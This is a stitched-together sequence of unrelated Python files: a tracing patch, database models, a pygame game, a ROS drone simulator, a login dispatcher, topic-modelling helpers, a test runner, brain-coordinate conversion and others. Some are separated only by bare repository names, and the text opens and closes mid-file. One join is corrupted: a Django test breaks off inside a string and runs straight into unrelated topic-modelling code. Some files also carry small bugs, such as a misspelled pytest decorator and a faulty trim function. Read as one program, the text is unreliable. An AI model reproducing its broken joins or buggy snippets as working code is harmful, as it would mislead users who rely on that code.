saveDataToFile(filename, dataDict, overwrite=False): if overwrite is False and os.path.isfile(filename): raise ValueError("file already exists, overwrite option was False") myShelf = shelve.open(filename,'n') myShelf['dataDict'] = dataDict myShelf.close() def readDataFromFile(filename): myShelf = shelve.open(filename) dataDict = myShelf['dataDict'] return dataDict import starlette from starlette.middleware import Middleware from ddtrace import config from ddtrace.vendor.wrapt import wrap_function_wrapper as _w from ddtrace.contrib.asgi.middleware import TraceMiddleware from ddtrace.utils.wrappers import unwrap as _u from ddtrace.internal.logger import get_logger log = get_logger(__name__) config._add( "starlette", dict(_default_service="starlette", request_span_name="starlette.request", distributed_tracing=True) ) def patch(): if getattr(starlette, "_datadog_patch", False): return setattr(starlette, "_datadog_patch", True) _w("starlette.applications", "Starlette.__init__", traced_init) def unpatch(): if getattr(starlette, "_datadog_patch", False): return setattr(starlette, "_datadog_patch", False) _u("starlette.applications", "Starlette.__init__") def traced_init(wrapped, instance, args, kwargs): mw = kwargs.pop("middleware", []) mw.insert(0, Middleware(TraceMiddleware, integration_config=config.starlette)) kwargs.update({"middleware": mw}) wrapped(*args, **kwargs) davidschaeffer2/casper1-10 """ File: db_models.py This file sets up the SQLAlchemy table ORM objects. This file is imported by any file needing access to one or more of the defined table ORM objects below. """ from sqlalchemy import Column, String, Boolean, Integer, DateTime from sqlalchemy.ext.declarative import declarative_base from cogs.warcraft.database.db_engine_session_init import engine Base = declarative_base() class WarcraftCharacter(Base): __tablename__ = 'Warcraft Characters' name = Column(String, primary_key=True) realm = Column(String, primary_key=True) region = Column(String) guild = Column(String) guild_rank = Column(Integer) char_class = Column(String) ilvl = Column(Integer) m_plus_key = Column(String) m_plus_key_level = Column(Integer) m_plus_score_overall = Column(Integer) m_plus_rank_overall = Column(Integer) m_plus_rank_class = Column(Integer) m_plus_weekly_high = Column(Integer) m_plus_prev_weekly_high = Column(Integer) last_updated = Column(DateTime) # Expansion "Feature" covenant = Column(String) renown = Column(String) class WarcraftCharacterWeeklyRun(Base): __tablename__ = 'Warcraft Character Weekly Runs' id = Column(Integer, autoincrement=True, primary_key=True) run_id = Column(String) character_name = Column(String) dungeon_name = Column(String) dungeon_level = Column(Integer) Base.metadata.create_all(engine) Ukasz11233/XO_game from settings import * from Functions import * from sprite_class import * import pygame class Game: def __init__(self): # Intializing game pygame.init() self.screen = pygame.display.set_mode((SCREEN_WIDTH, SCREEN_HEIGHT)) pygame.display.set_caption("Kolko i krzyzyk") self.clock = pygame.time.Clock() self.sprites = pygame.sprite.Group() self.running = True self.clicked = False self.board = [[0]*3 for _ in range(3)] # 1 for X, -1 for O def run(self): # Main game loop self.sprites.add(Sprite((10, 10)), Sprite((176, 0)), Sprite((342, 0)), Sprite((0, 176)), Sprite((176, 176)), Sprite((342, 176)), Sprite((0, 342)), Sprite((176, 342)), Sprite((342, 342))) while self.running: self.clock.tick(FPS) self.get_events() self.update() self.draw() pygame.quit() def draw(self): blank = SCREEN_HEIGHT / 3 x, y = 0, 0 self.screen.fill(BLACK) self.sprites.draw(self.screen) for i in range(3): x += blank y += blank pygame.draw.line(self.screen, (WHITE), (x, 0), (x, SCREEN_HEIGHT), width = 5) pygame.draw.line(self.screen, (WHITE), (0, y), (SCREEN_HEIGHT, y), width = 5) # *after* drawing everything flip the display pygame.display.flip() def update(self): self.sprites.update() if check(self.board) == 1: self.draw() message_box("Message", "X wygral!\nZagraj jeszcze raz") run_again(self.sprites, self.board) self.clicked = False elif check(self.board) == -1: self.draw() message_box("Message", "O wygral\nZagraj jeszcze raz") run_again(self.sprites, self.board) self.clicked = False elif check(self.board) == 2: self.draw() message_box("Message", "Nikt nie wygral\nZagraj jeszcze raz") run_again(self.sprites, self.board) self.clicked = False def get_events(self): ev_list = pygame.event.get() for event in ev_list: #check for closing the window if event.type == pygame.QUIT: self.running = False if event.type == pygame.MOUSEBUTTONDOWN: for ev in self.sprites: if ev.click(event, self.clicked, self.board): self.clicked = not self.clicked #!/usr/bin/env python3 # -*- coding: utf-8 -*- import rospy from rospy import Publisher, Service from gs_interfaces.srv import Live, LiveResponse from gs_interfaces.srv import Log,LogResponse from gs_interfaces.srv import Led,LedResponse from gs_interfaces.srv import Event,EventResponse from gs_interfaces.srv import Time, TimeResponse from gs_interfaces.srv import Info, InfoResponse from gs_interfaces.srv import NavigationSystem,NavigationSystemResponse from gs_interfaces.srv import SetNavigationSystem,SetNavigationSystemResponse from gs_interfaces.srv import Position, PositionResponse from gs_interfaces.srv import PositionGPS, PositionGPSResponse from gs_interfaces.srv import Yaw, YawResponse from gs_interfaces.srv import ParametersList, ParametersListResponse from gs_interfaces.srv import SetParametersList, SetParametersListResponse from gs_interfaces.msg import SimpleBatteryState, OptVelocity, PointGPS, SatellitesGPS, Orientation from std_msgs.msg import Float32, Int32, String, Int8 from geometry_msgs.msg import Point from std_srvs.srv import Empty, EmptyResponse from std_srvs.srv import SetBool, SetBoolResponse from threading import Thread from math import degrees, sqrt from time import sleep TIME_FOR_RESTART = 5 # приблизительное время необходимое для перезапуска платы class ROSSimNode(): # класс ноды ros_plaz_node def __init__(self, rate = None, start_x = 0.0, start_y = 0.0, start_z = 0.0): self.live = False # состояние подключение к базовой платы АП self.event_messages = (10, 12, 23, 2) # доступные события(команды) АП self.callback_event_messages = (255, 26, 31, 32, 42, 43, 51, 56, 65) # события, возвращаемые АП self.state_event = -1 # последнеее событие, отправленное в АП self.state_callback_event = -1 # полседнее событие пришедшее от АП self.state_position = [0., 0., 0., 0.] # последняя точка, на которую был отправлен коптер (в локальных координатах) self.rate = rate # таймер self.log = [] self.preflight_state = False self.takeoff_state = False self.__start_x = start_x self.__start_y = start_y self.__start_z = start_z self.x = start_x self.y = start_y self.z = start_z self.yaw = 90.0 self.logger = Service("geoscan/get_log", Log, self.handle_log) self.alive = Service("geoscan/alive", Live, self.handle_live) # сервис, показывающий состояние подключения self.info_service = Service("geoscan/board/get_info", Info, self.handle_info) self.time_service = Service("geoscan/board/get_time", Time, self.handle_time) self.uptime_service = Service("geoscan/board/get_uptime", Time, self.handle_uptime) self.flight_time_service = Service("geoscan/board/get_flight_time", Time, self.handle_flight_time) self.get_autopilot_params_service = Service("geoscan/board/get_parameters", ParametersList, self.handle_get_autopilot_params) # сервис, возвращающий параметры АП self.set_autopilot_params_service = Service("geoscan/board/set_parameters", SetParametersList, self.handle_set_autopilot_params) # сервис, устанавливающий параметры АП self.restart_service = Service("geoscan/board/restart", Empty, self.handle_restart) # сервиc перезапуска базововй платы self.get_navigation_service = Service("geoscan/navigation/get_system", NavigationSystem, self.handle_get_navigation_system) # сервис, возвращающий текущую систему позиционирования self.set_navigation_service = Service("geoscan/navigation/set_system", SetNavigationSystem, self.handle_set_navigation_system) # сервис, устанавливающий текущую систему позиционирования self.local_position_service = Service("geoscan/flight/set_local_position", Position, self.handle_local_pos) # сервис полета в локальную точку self.global_position_service = Service("geoscan/flight/set_global_position",PositionGPS, self.handle_gps_pos) self.yaw_service = Service("geoscan/flight/set_yaw", Yaw, self.handle_yaw) # сервис управления рысканьем self.event_service = Service("geoscan/flight/set_event", Event, self.handle_event) # севрис управления событиями АП self.module_led_service = Service("geoscan/led/module/set", Led, self.handle_led) # сервис управления светодиодами на LED-модуле self.board_led_service = Service("geoscan/led/board/set", Led, self.handle_led) self.logger_publisher = Publisher("geoscan/log", String, queue_size=10) self.battery_publisher = Publisher("geoscan/battery_state", SimpleBatteryState, queue_size=10) # издатель темы состояния АКБ self.local_position_publisher = Publisher("geoscan/navigation/local/position", Point, queue_size=10) # издатель темы позиции в LPS self.local_yaw_publisher = Publisher("geoscan/navigation/local/yaw", Float32, queue_size=10) # издаетель темы рысканья в LPS self.local_velocity_publisher = Publisher("geoscan/navigation/local/velocity", Point, queue_size=10) self.global_position_publisher = Publisher("geoscan/navigation/global/position", PointGPS, queue_size=10) self.global_status_publisher = Publisher("geoscan/navigation/global/status", Int8, queue_size=10) self.satellites_publisher = Publisher("geoscan/navigation/satellites", SatellitesGPS, queue_size=10) self.opt_velocity_publisher = Publisher("geoscan/navigation/opt/velocity", OptVelocity, queue_size=10) # издатель темы ускорения в OPT self.callback_event_publisher = Publisher("geoscan/flight/callback_event", Int32, queue_size=10) # издатель темы событий, возвращаемых АП self.gyro_publisher = Publisher("geoscan/sensors/gyro", Point, queue_size=10) self.accel_publisher = Publisher("geoscan/sensors/accel", Point, queue_size=10) self.orientation_publisher = Publisher("geoscan/sensors/orientation", Orientation, queue_size=10) self.altitude_publisher = Publisher("geoscan/sensors/altitude", Float32, queue_size=10) self.mag_publisher = Publisher("geoscan/sensors/mag", Point, queue_size=10) def __preflight(self): sleep(0.5) self.preflight_state = True self.callback_event_publisher.publish(7) def __takeoff(self): if self.preflight_state and not self.takeoff_state: for _ in range(0, 200): self.z += 0.01 sleep(0.05) self.takeoff_state = True self.callback_event_publisher.publish(6) def __landing(self, time=0.1): if self.takeoff_state: for _ in range(int(self.z * 100),0,-1): self.z -= 0.01 sleep(time) self.callback_event_publisher.publish(1) else: self.callback_event_publisher.publish(0) self.takeoff_state = False self.preflight_state = False def __go_to_point(self, x, y, z): delta_x = x - self.x delta_y = y - self.y delta_z = z - self.z l = sqrt(delta_x**2 + delta_y**2 + delta_z**2) for _ in range(0,int(l*100) - 1): self.x += delta_x / l * 0.01 self.y += delta_y / l * 0.01 self.z += delta_z / l * 0.01 sleep(0.03) self.callback_event_publisher.publish(5) self.x += x - self.x self.y += y - self.y self.z += z - self.z self.callback_event_publisher.publish(4) def __update_yaw(self, angle): if self.takeoff_state: old_angle = int(self.yaw) pri = 1 if angle < 0.0: pri = -1 for new_angle in range(old_angle, old_angle + int(angle / 2), pri): self.yaw = new_angle sleep(0.03) def __get_time(self): return rospy.Time().now().to_sec() def handle_restart(self, request): # функция обработки запроса на перезагрузку return EmptyResponse() # возвращаем пустой ответ def handle_log(self, request): return LogResponse(self.log) def handle_live(self, request): return LiveResponse(self.live) def handle_info(self, request): return InfoResponse() def handle_time(self, request): return TimeResponse(self.__get_time()) def handle_uptime(self, reuest): return TimeResponse(self.__get_time()) def handle_flight_time(self, request): return TimeResponse(0.) def handle_event(self, request): # функция обработки запроса на отправление события в АП if self.state_event != request.event: if request.event == 0: Thread(target=self.__preflight).start() elif request.event == 1: Thread(target=self.__takeoff).start() elif request.event == 2: Thread(target=self.__landing).start() elif request.event == 3: self.x = self.__start_x self.y = self.__start_y self.z = self.__start_z self.takeoff_state = False self.preflight_state = False self.state_event = request.event return EventResponse(1) def handle_local_pos(self, request): # функция обработки запроса на полет в локальную точку request_position = [request.position.x, request.position.y, request.position.z] # запоминаем координаты точки из запроса if self.takeoff_state: # сравниваем координаты точки с предыдущими координатами Thread(target=self.__go_to_point, args = [request_position[0], request_position[1], request_position[2]]).start() self.state_position = request_position return PositionResponse(True) # возвращаем True - команда выполнена def handle_gps_pos(self, request): return PositionGPSResponse(False) def handle_yaw(self, request): # функция обработки запроса на изменение угла рысканья Thread(target=self.__update_yaw, args=[degrees(request.angle), ]).start() return YawResponse(True) # возвращаем True - команда выполнена def handle_led(self, request): # функция обработки запроса на изменение цвета светодиодов на LED-модуле return LedResponse(True) # возвращаем True - команда выполнена def handle_get_navigation_system(self, request): # функция обработки запроса на получение текущей системы навигации return NavigationSystemResponse("LPS") # возвращаем имя системы позиционирования def handle_set_navigation_system(self, request): return SetNavigationSystemResponse(True) # возвращаем True - команда выполнена def handle_get_autopilot_params(self, request): return ParametersListResponse([]) def handle_set_autopilot_params(self, request): return SetParametersListResponse(True) # возвращаем True - команда выполнена def connect(self): rospy.loginfo("Try to connect ...") self.state_event = -1 self.state_callback_event = -1 rospy.loginfo("Board start connect - done") self.live = True def data_exchange(self): if self.live: battery_state = SimpleBatteryState() battery_state.header.stamp = rospy.Time.now() battery_state.charge = 8.33 self.battery_publisher.publish(battery_state) self.accel_publisher.publish(Point()) self.gyro_publisher.publish(Point()) self.orientation_publisher.publish(Orientation()) self.altitude_publisher.publish(self.z) local_point = Point() local_point.x = self.x local_point.y = self.y local_point.z = self.z self.local_position_publisher.publish(local_point) self.local_yaw_publisher.publish(self.yaw) def spin(self): if self.live: self.data_exchange() else: self.connect() if self.rate is not None: self.rate.sleep() return True if __name__ == "__main__": rospy.init_node("ros_plaz_node") # инициализируем ноду x = rospy.get_param(rospy.search_param("start_x")) # получение имени порта, как параметра ноды if type(x) == dict: x = 0.0 y = rospy.get_param(rospy.search_param("start_y")) # получение скорости обмена данными, как параметра ноды if type(y) == dict: y = 0.0 z = rospy.get_param(rospy.search_param("start_z")) # получение скорости обмена данными, как параметра ноды if type(z) == dict: z = 0.0 rate = rospy.Rate(100) ros_plaz_node = ROSSimNode(rate, x, y, z) while not rospy.is_shutdown(): if not ros_plaz_node.spin(): break 0 from robocorp_ls_core.protocols import IEndPoint, ActionResultDict from robocorp_ls_core.robotframework_log import get_logger from robocorp_code import commands from robocorp_ls_core.command_dispatcher import _SubCommandDispatcher from robocorp_code.protocols import IRcc, CloudLoginParamsDict log = get_logger(__name__) login_command_dispatcher = _SubCommandDispatcher("_login") class _Login(object): def __init__( self, dir_cache, endpoint: IEndPoint, base_command_dispatcher, rcc: IRcc, feedback, clear_caches_on_login_change, ): from robocorp_ls_core.cache import DirCache from robocorp_code._language_server_feedback import _Feedback self._dir_cache: DirCache = dir_cache self._endpoint = endpoint self._rcc = rcc self._feedback: _Feedback = feedback self._clear_caches_on_login_change = clear_caches_on_login_change base_command_dispatcher.register_sub_command_dispatcher( login_command_dispatcher ) @login_command_dispatcher(commands.ROBOCORP_IS_LOGIN_NEEDED_INTERNAL) def _is_login_needed_internal(self) -> ActionResultDict: from robocorp_ls_core.progress_report import progress_context with progress_context( self._endpoint, "Validating Control Room credentials", self._dir_cache ): login_needed = not self._rcc.credentials_valid() return {"success": login_needed, "message": None, "result": login_needed} @login_command_dispatcher(commands.ROBOCORP_CLOUD_LOGIN_INTERNAL) def _cloud_login(self, params: CloudLoginParamsDict) -> ActionResultDict: from robocorp_ls_core.progress_report import progress_context self._feedback.metric("vscode.cloud.login") # When new credentials are added we need to remove existing caches. self._clear_caches_on_login_change() credentials = params["credentials"] with progress_context( self._endpoint, "Adding Control Room credentials", self._dir_cache ): action_result = self._rcc.add_credentials(credentials) self._endpoint.notify("$/linkedAccountChanged") if not action_result.success: return action_result.as_dict() result = self._rcc.credentials_valid() return {"success": result, "message": None, "result": result} @login_command_dispatcher(commands.ROBOCORP_CLOUD_LOGOUT_INTERNAL) def _cloud_logout(self) -> ActionResultDict: from robocorp_ls_core.progress_report import progress_context self._feedback.metric("vscode.cloud.logout") # When credentials are removed we need to remove existing caches. self._clear_caches_on_login_change() with progress_context( self._endpoint, "Removing Control Room credentials", self._dir_cache ): ret = self._rcc.remove_current_credentials().as_dict() self._endpoint.notify("$/linkedAccountChanged") return ret from django.urls import reverse from pytest_django.asserts import assertContains @pytest.fixure def resposta(client): return client.get(reverse('tarefas:home')) def test_status_code(client): assert resposta.status_code == 200 def test_formulario_present(client): assertContains(resposta, '= threshold] return df def get_similarity_score(model): ''' Parameters: Inputs: a) model: the model used to train your topic modelling b) topicnr: the topic for which you want to see the similarity score. IMP: here the nr is the index of the row and not the topic nr so for topic -1 = topicnr is 0 c) resultdf: the resultant df to merge to get combined results d) threshold: the threshold above which you want to get similar topics Ouput: A pandas dataframe with topicnr, topic names, keywords present (input) and the distance score for each. ''' topics = sorted(list(model.get_topics().keys())) # Extract topic words and their frequencies topic_list = sorted(topics) embeddings = model.c_tf_idf distance_matrix = cosine_similarity(embeddings) most_similar_ind = [] most_similar_val = [] for topic in topic_list: data = distance_matrix[topic] # topic -1 i = np.argsort(data, axis=0)[-2] most_similar_ind.append(i) # ensure length and order for the list most_similar_val.append(data[i]) similar_df = pd.DataFrame() similar_df['Topic Nr'] = topic_list similar_df['most_similar'] = most_similar_ind similar_df['similarity_score'] = most_similar_val return similar_df def plot_confusion_matrix(model, true, predicted, xfig, yfig, title, topic): fig, ax = plt.subplots(figsize=(xfig, yfig)) ax = sns.heatmap(confusion_matrix(predicted, true), annot=True, fmt='d', cmap="PiYG", xticklabels = topic, yticklabels=topic) plt.ylabel('True Values') plt.xlabel('Predicted Values') plt.title(title) plt.xticks(rotation=90, ha='right') plt.yticks(rotation=360, ha='right') plt.show() st.pyplot(fig) def _update_progress(text, progress): text = f"{text}" st.write(text, unsafe_allow_html=True) progress_bar = st.progress(0) progress_bar.progress(progress) @st.cache def convert_df(df): # IMPORTANT: Cache the conversion to prevent computation on every rerun return df.to_csv().encode('utf-8') def return_top_n_pred_prob_df(n, model, docs, column_name): ''' Function to predict the top n topics for a specific keyword with it's accuracy score Parameters: Input: a) n = Top n topic classes you want b) model = the model you have trained your dataset on c) docs = the keywords on which you want to predict the top n topics d) column_name = name of the column in the resultant df which takes in this as it's input for naming it Output: A dataframe with keywords and their corresponding topic names with its associated percentage accuracy. ''' predictions = model.predict_proba(docs) preds_idx = np.argsort(-predictions, axis=1) top_n_preds = pd.DataFrame() for i in range(n): top_n_preds['keywords'] = docs top_n_preds[column_name + "_" + '{}'.format(i)] = [preds_idx[doc][i] for doc in range(len(docs))] top_n_preds[column_name + "_" + '{}_prob'.format(i)] = [predictions[doc][preds_idx[doc][i]] for doc in range(len(docs))] top_n_preds = top_n_preds.rename(columns={'class_name': column_name + ''.format(i)}) try: top_n_preds.drop(columns=['index', column_name + '_prediction_{}_num'.format(i)], inplace=True) except: pass return top_n_preds from sklearn.metrics.pairwise import cosine_similarity def get_class_similarity_score(model): ''' Parameters: Inputs: a) model: the model used to train your topic modelling b) topicnr: the topic for which you want to see the similarity score. IMP: here the nr is the index of the row and not the topic nr so for topic -1 = topicnr is 0 c) resultdf: the resultant df to merge to get combined results d) threshold: the threshold above which you want to get similar topics Ouput: A pandas dataframe with topicnr, topic names, keywords present (input) and the distance score for each. ''' topics = sorted(list(model.get_topics().keys())) # Extract topic words and their frequencies topic_list = sorted(topics) embeddings = model.c_tf_idf distance_matrix = cosine_similarity(embeddings) most_similar_ind = [] most_similar_val = [] for topic in topic_list: data = distance_matrix[topic] # topic -1 i = np.argsort(data, axis=0)[-2] most_similar_ind.append(i) # ensure length and order for the list most_similar_val.append(data[i]) similar_df = pd.DataFrame() similar_df['Topic Nr'] = topic_list similar_df['most_similar'] = most_similar_ind similar_df['c_similarity_score'] = most_similar_val similar_df = similar_df.rename_axis('Index').reset_index() return similar_dftotalamateurhour/oci-utils # Copyright (c) 2020 Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown # at http://oss.oracle.com/licenses/upl. from unittest import TextTestRunner import sys from .execution.store import getCommandStore class OciUtilsTestRunner(TextTestRunner): """Base class for OCI util test runner Subclass of TextTestRunner """ def __init__(self, mode): """Creates a new OciUtilsTestRunner This will replace the current subprocess.Popen implementation by a custom one responsible of recirding or replay execution """ TextTestRunner.__init__(self) assert (mode in ['replay', 'record']), 'unkonwn mode' # if subprocess module is already imported # delete it first if 'subprocess' in sys.modules: del sys.modules['subprocess'] # import the subprocess module and keep a reference on it. _subprocess_origin = __import__('subprocess') # We gonna need the real implementation to execute command and to be able # to use it a super-class for our own Popen impl so we keep it as # a new symbol _Popen _subprocess_origin.__dict__['_Popen'] = _subprocess_origin.Popen _subprocess_origin.__all__.append('_Popen') # import our own Popen class _new_popen = __import__('snooppopen') # Replace the Popen class with our implementation if mode == 'record': _subprocess_origin.__dict__['Popen'] = _new_popen.RecordPopen # 'call' and 'check_call' discard stdout and stderr # but we need to record them any way. otherwise following scenario will fail # call('foo') # ... # check_output('foo') # -> for second method call, as we already record the command, we won't # execute/record it again . i.e we never have the output _subprocess_origin.__dict__['_call'] = _subprocess_origin.call _subprocess_origin.__all__.append('_call') _subprocess_origin.__dict__['call'] = _new_popen.call elif mode == 'replay': _subprocess_origin.__dict__['Popen'] = _new_popen.ReplayPopen class OciUtilsTestRunnerReplay(OciUtilsTestRunner): """Replay OciUtilsTestRunner Any executed command line will be simulate and outputs will be fetched from command repository """ def __init__(self): OciUtilsTestRunner.__init__(self, 'replay') class OciUtilsTestRunnerRecord(OciUtilsTestRunner): """Record OciUtilsTestRunner Any executed command line will be recorded to command repository """ def __init__(self): OciUtilsTestRunner.__init__(self, 'record') def run(self, test): try: return OciUtilsTestRunner.run(self, test) finally: getCommandStore().flush() # Copyright 2020 (c) Cognizant Digital Business, Evolutionary AI. All rights reserved. Issued under the Apache 2.0 License. import argparse import os import pandas as pd import numpy as np from tempgeolstm_predictor import tempGeoLSTMPredictor ROOT_DIR = os.path.dirname(os.path.abspath(__file__)) # If you'd like to use a model, copy it to "trained_model_weights.h5" # or change this MODEL_FILE path to point to your model. MODEL_WEIGHTS_FILE = os.path.join(ROOT_DIR, "models", "model.h5") COUNTRIES_FILE = os.path.join(ROOT_DIR, "models", "countries.txt") DATA_DIR = os.path.join(ROOT_DIR, os.pardir, os.pardir, 'data') DATA_FILE = os.path.join(DATA_DIR, "OxCGRT_latest.csv") TEMPERATURE_DATA_FILE = os.path.join(DATA_DIR, "temperature_data.csv") COUNTRY_LIST = os.path.join(DATA_DIR, 'countries_regions.txt') def predict(start_date: str, end_date: str, path_to_ips_file: str, output_file_path) -> None: """ Generates and saves a file with daily new cases predictions for the given countries, regions and intervention plans, between start_date and end_date, included. :param start_date: day from which to start making predictions, as a string, format YYYY-MM-DDD :param end_date: day on which to stop making predictions, as a string, format YYYY-MM-DDD :param path_to_ips_file: path to a csv file containing the intervention plans between inception date (Jan 1 2020) and end_date, for the countries and regions for which a prediction is needed :param output_file_path: path to file to save the predictions to :return: Nothing. Saves the generated predictions to an output_file_path CSV file with columns "CountryName,RegionName,Date,PredictedDailyNewCases" """ # !!! YOUR CODE HERE !!! # predictor = tempGeoLSTMPredictor(path_to_model_weights=MODEL_WEIGHTS_FILE, path_to_geos=COUNTRIES_FILE) predictor = tempGeoLSTMPredictor(path_to_model_weights=MODEL_WEIGHTS_FILE, use_embedding=False) # Generate the predictions start_date_dt = pd.to_datetime(start_date, format='%Y-%m-%d') end_date_dt = pd.to_datetime(end_date, format='%Y-%m-%d') predictor.choose_train_test_split(start_date=start_date_dt, end_date=end_date_dt) npis_df = pd.read_csv(path_to_ips_file, parse_dates=['Date'], encoding="ISO-8859-1", dtype={"RegionName": str, "RegionCode": str}, error_bad_lines=False) # GeoID is CountryName / RegionName # np.where usage: if A then B else C npis_df["GeoID"] = np.where(npis_df["RegionName"].isnull(), npis_df["CountryName"], npis_df["CountryName"] + ' / ' + npis_df["RegionName"]) # # Discard countries that will not be evaluated # country_df = pd.read_csv(COUNTRY_LIST, # encoding="ISO-8859-1", # dtype={"RegionName": str}, # error_bad_lines=False) # npis_df = npis_df.merge(country_df, on=['RegionName','CountryName'], how='right', suffixes=('', '_y')) preds_df = predictor.predict(npis_df, start_date=start_date_dt, end_date=end_date_dt) # Create the output path os.makedirs(os.path.dirname(output_file_path), exist_ok=True) # Save to a csv file preds_df.to_csv(output_file_path, index=False) print(f"Saved predictions to {output_file_path}") # !!! PLEASE DO NOT EDIT. THIS IS THE OFFICIAL COMPETITION API !!! if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument("-s", "--start_date", dest="start_date", type=str, required=True, help="Start date from which to predict, included, as YYYY-MM-DD. For example 2020-08-01") parser.add_argument("-e", "--end_date", dest="end_date", type=str, required=True, help="End date for the last prediction, included, as YYYY-MM-DD. For example 2020-08-31") parser.add_argument("-ip", "--interventions_plan", dest="ip_file", type=str, required=True, help="The path to an intervention plan .csv file") parser.add_argument("-o", "--output_file", dest="output_file", type=str, required=True, help="The path to the CSV file where predictions should be written") args = parser.parse_args() print(f"Generating predictions from {args.start_date} to {args.end_date}...") predict(args.start_date, args.end_date, args.ip_file, args.output_file) print("Done!") #!/usr/bin/env python3 # -*- coding: utf-8 -*- # L = ['Michael', 'Sarah', 'Tracy', 'Bob', 'Jack'] # print(L[:3]) # print(L[-2:-1]) L = list(range(100)) print(L) # 前十个数 每两个取一个 print(L[:10:2]) # 所有数 每五个取一个 print(L[::5]) # tuple 切片 print((0, 1, 2, 3, 4, 5)[:3]) # str 切片 print('ABCDEFG'[:3]) def trim(s): if s[:1] == " ": return trim(s[1:]) elif s[-1:] == " ": return trim(s[:-2]) else: return s if trim('hello ') != 'hello': print('测试失败!') elif trim(' hello') != 'hello': print('测试失败!') elif trim(' hello ') != 'hello': print('测试失败!') elif trim(' hello world ') != 'hello world': print('测试失败!') elif trim('') != '': print('测试失败!') elif trim(' ') != '': print('测试失败!') else: print('测试成功!') # Copyright 2020 Soil, Inc. from oslo_config import cfg rsa_license_group = cfg.OptGroup( name='RSA_LICENSE', title='rsa license options' ) RSA_LICENSE_ALL_OPTS = [ cfg.StrOpt('private_key_file', default='/etc/soil/soil_private.pem'), cfg.StrOpt('public_key_file', default='/etc/soil/soil_public.pem'), ] def register_opts(conf): conf.register_group(rsa_license_group) conf.register_opts(RSA_LICENSE_ALL_OPTS, group=rsa_license_group) def list_opts(): return { rsa_license_group: RSA_LICENSE_ALL_OPTS }from atmcorr.sensors import sensor_is from atmcorr.sensors import sensor_is_any def get_date(sensor, mtdFile): if sensor_is_any(sensor, 'WV', 'WV_4band'): from . import worldview return worldview.get_date(mtdFile) elif sensor_is(sensor, 'L7L8'): from . import landsat8 return landsat8.get_date(mtdFile) elif sensor_is(sensor, "PHR"): from . import pleiades return pleiades.get_date(mtdFile) elif sensor_is(sensor, 'S2'): from . import sentinel2 return sentinel2.get_date(mtdFile) else: raise ValueError('Unknown sensor.') 0 import pytest import requests_mock import json from billy import create_app from billy.utils import BookList @pytest.fixture def app(): app = create_app() app.config['TESTING'] = True yield app @pytest.fixture def client(app): client = app.test_client() yield client # read our mock JSON data to mock_json with open("tests/mock.json") as f: mock_json = f.read() @pytest.fixture def mock(): with requests_mock.Mocker() as m: m.get(requests_mock.ANY, text=mock_json) @pytest.fixture def book_list(): mock = {"status": 200, "body": json.loads(mock_json)} return BookList(testing=mock, https=True) """Module for handling brain coordinates.""" import pathlib from typing import Optional, Union import numpy as np import pandas as pd import scipy RESOURCES = pathlib.Path(__file__).parent / "resources" # Original matlab code from Xu Cui (https://alivelearn.net/?p=1456) # This python code is adapted from Astrid Olave # (https://github.com/aaolaveh/anat-from-MNI/blob/master/functions.py) def find_structure_mni( mni_coords: np.ndarray, database: Optional[Union[pathlib.Path, str]] = None ) -> Union[list[str], str]: """ Convert MNI coordinate to a description of brain structure in aal Arguments --------- mni_coords : numpy array The MNI coordinates of given points, in mm. An Mx3 matrix (shape (M, 3)) or vector of shape (3,) where each row is the coordinates (x, y, z) of one point. database : Path or str, optional Path to database. If none given, `TDdatabase.mat` is used. Returns ------- descriptions: A list of M elements, each describing each point. """ if mni_coords.ndim == 1: mni_coords = np.expand_dims(mni_coords, axis=0) if not isinstance(mni_coords, np.ndarray): mni_coords = np.ndarray(mni_coords) if mni_coords.size == 0 | mni_coords.shape[-1] != 3: raise ValueError( "The given coordinates are not 3-length coordinates. The last " "dimension must be of size 3. Got `mni_coords` shape:" f" {mni_coords.shape}" ) if database is None: atlas = scipy.io.loadmat(str(RESOURCES / "TDdatabase.mat")) ind_coords = mni2coor( mni_coords=mni_coords, ) # -1 by python indexation ind_coords = ind_coords - 1 rows = np.shape(atlas["DB"])[1] descriptions = [] for ind in ind_coords: single_result = [] for j in range(rows): # atlas["DB"][0,j][0,0][0] is the j-th 3D-matrix graylevel = atlas["DB"][0, j][0, 0][0][ind[0], ind[1], ind[2]] if graylevel == 0: label = "undefined" else: if j < (rows - 1): suffix = "" else: suffix = " (aal)" # mat['DB'][0,j][0,0][1] is the list with regions label = ( atlas["DB"][0, j][0, 0][1][0, (graylevel - 1)][0] + suffix ) single_result.append(label) descriptions.append(single_result) return descriptions def mni2coor( mni_coords: np.ndarray, matrix: Optional[np.ndarray] = None ) -> np.ndarray: """ Convert mni coordinates to matrix coordinates. Arguments --------- mni_coords : numpy array The MNI coordinates of given points, in mm. An Mx3 matrix where each row is the coordinates (x, y, z) for one point. matrix : numpy array, optional Transformation matrix. If None given, defaults to: [[2, 0, 0, -92], [0, 2, 0, -128], [0, 0, 2, -74], [0, 0, 0, 1]] Returns ------- coords : numpy array Coordinate matrix """ if matrix is None: matrix = np.array( [[2, 0, 0, -92], [0, 2, 0, -128], [0, 0, 2, -74], [0, 0, 0, 1]] ) # This matrix is a remnant of the original code - function unclear # matrix = np.array( # [[-4, 0, 0, 84], [0, 4, 0, -116], [0, 0, 4, -56], [0, 0, 0, 1]] # ) ones = np.ones((np.shape(mni_coords)[0], 1)) vector = np.hstack((mni_coords, ones)) matrix_transp = np.transpose(np.linalg.inv(matrix)) coords = vector.dot(matrix_transp)[:, 0:3] vround = np.vectorize(matlab_round) return vround(coords) def matlab_round(value: Union[int, float]) -> int: """Round value to integer like round function in MATLAB. Arguments --------- data: float value to be rounded Returns ------- Rounded value """ if value - np.floor(value) != 0.5: return round(value) if value < 0: return int(value - 0.5) return int(value + 0.5) def add_coords(data: pd.DataFrame, coords: pd.DataFrame) -> pd.DataFrame: """Add x, y and z electrode coordinates to DataFrame.""" data.loc[:, ["x", "y", "z"]] = None for ind in data.index: if "avgref" in ind[1]: ind_elec = (ind[0], ind[1][:-7]) else: ind_elec = ind try: data.loc[ind, ["x", "y", "z"]] = coords.loc[ ind_elec, ["x", "y", "z"] ] except KeyError as error: print( f"KeyError raised by pandas. The following Subject and " f"Channel Name combination was not found: {error}." ) return data # Copyright 2019 ZTE corporation. All Rights Reserved. # SPDX-License-Identifier: Apache-2.0 from unittest import TestCase from onnx import GraphProto, ModelProto, TensorProto, ValueInfoProto from model_compiler.models.irs.onnx_model import OnnxModel class OnnxModelTestCase(TestCase): def test_get_inputs(self): model = 